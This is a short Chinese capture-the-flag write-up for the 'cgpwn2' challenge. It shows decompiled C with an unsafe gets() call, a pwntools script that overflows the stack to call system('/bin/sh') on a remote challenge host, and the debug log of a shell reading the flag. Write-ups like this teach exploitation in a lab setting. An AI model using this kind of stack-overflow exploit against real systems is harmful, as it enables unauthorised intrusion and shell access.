cgpwn2 攻防世界

将"/bin/sh"写入全局变量name，然后利用栈溢出执行system('/bin/sh')

```
1  char *hello()
2  {
3    char *v0; // eax
4    signed int v1; // ebx
5    unsigned int v2; // ecx
6    char *v3; // eax
7    char s; // [esp+12h] [ebp-26h]
8    int v6; // [esp+14h] [ebp-24h]
9
10   v0 = &s;
11   v1 = 30;
12   if ( (unsigned int)&s & 2 )
13   {
14     *(_WORD *)&s = 0;
15     v0 = (char *)&v6;
16     v1 = 28;
17   }
18   v2 = 0;
19   do
20   {
21     *(_DWORD *)&v0[v2] = 0;
22     v2 += 4;
23   }
24   while ( v2 < (v1 & 0xFFFFFFFC) );
25   v3 = &v0[v2];
26   if ( v1 & 2 )
27   {
28     *(_WORD *)v3 = 0;
29     v3 += 2;
30   }
31   if ( v1 & 1 )
32     *v3 = 0;
33   puts("please tell me your name");
34   fgets(name, 50, stdin);
35   puts("hello,you can leave some message here:");
36   return gets(&s);
37 }
```

Python

```python
from pwn import *
context.log_level='debug'
p = remote('111.200.241.243',58668)
#p = process('./pwn')
elf = ELF('./pwn')
p.sendlineafter('name','/bin/sh')
sys_addr = elf.plt['system']
name_addr = 0x0804A080
payload = 'A'*0x26 + 'A'*0x04 + p32(sys_addr) + 'A'*0x04 + p32(name_addr)
p.sendlineafter('here:',payload)
p.interactive()
```

```
root@ams:/home/ams/ws/p3# python exp.py
[+] Opening connection to 111.200.241.243 on port 58668: Done
[DEBUG] PLT 0x80483e0 setbuf
[DEBUG] PLT 0x80483f0 gets
[DEBUG] PLT 0x8048400 fgets
[DEBUG] PLT 0x8048410 puts
[DEBUG] PLT 0x8048420 system
[DEBUG] PLT 0x8048430 __gmon_start__
[DEBUG] PLT 0x8048440 __libc_start_main
[*] '/home/ams/ws/p3/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0x18 bytes:
    'please tell me your name'
[DEBUG] Sent 0x8 bytes:
    '/bin/sh\n'
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Received 0x27 bytes:
    'hello,you can leave some message here:\n'
[DEBUG] Sent 0x37 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000020  41 41 41 41  41 41 41 41  41 41 20 84  84 08 41 41  |AAAA|AAAA|AA ·|··AA|
    00000030  41 41 80 a0  84 08 0a                              |AA··|···|
    00000037
[*] Switching to interactive mode

$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{b77936aaca0b46b6eef1e0d9859cef4f}\n'
cyberpeace{b77936aaca0b46b6eef1e0d9859cef4f}
```

```
1  char *hello()
2  {
3    char *v0; // eax
4    signed int v1; // ebx
5    unsigned int v2; // ecx
6    char *v3; // eax
7    char s; // [esp+12h] [ebp-26h]
8    int v6; // [esp+14h] [ebp-24h]
9
10   v0 = &s;
11   v1 = 30;
12   if ( (unsigned int)&s & 2 )
13   {
14     *(_WORD *)&s = 0;
15     v0 = (char *)&v6;
16     v1 = 28;
17   }
18   v2 = 0;
19   do
20   {
21     *(_DWORD *)&v0[v2] = 0;
22     v2 += 4;
23   }
24   while ( v2 < (v1 & 0xFFFFFFFC) );
25   v3 = &v0[v2];
26   if ( v1 & 2 )
27   {
28     *(_WORD *)v3 = 0;
29     v3 += 2;
30   }
31   if ( v1 & 1 )
32     *v3 = 0;
33   puts("please tell me your name");
34   fgets(name, 50, stdin);
35   puts("hello,you can leave some message here:");
36   return gets(&s);
37 }
```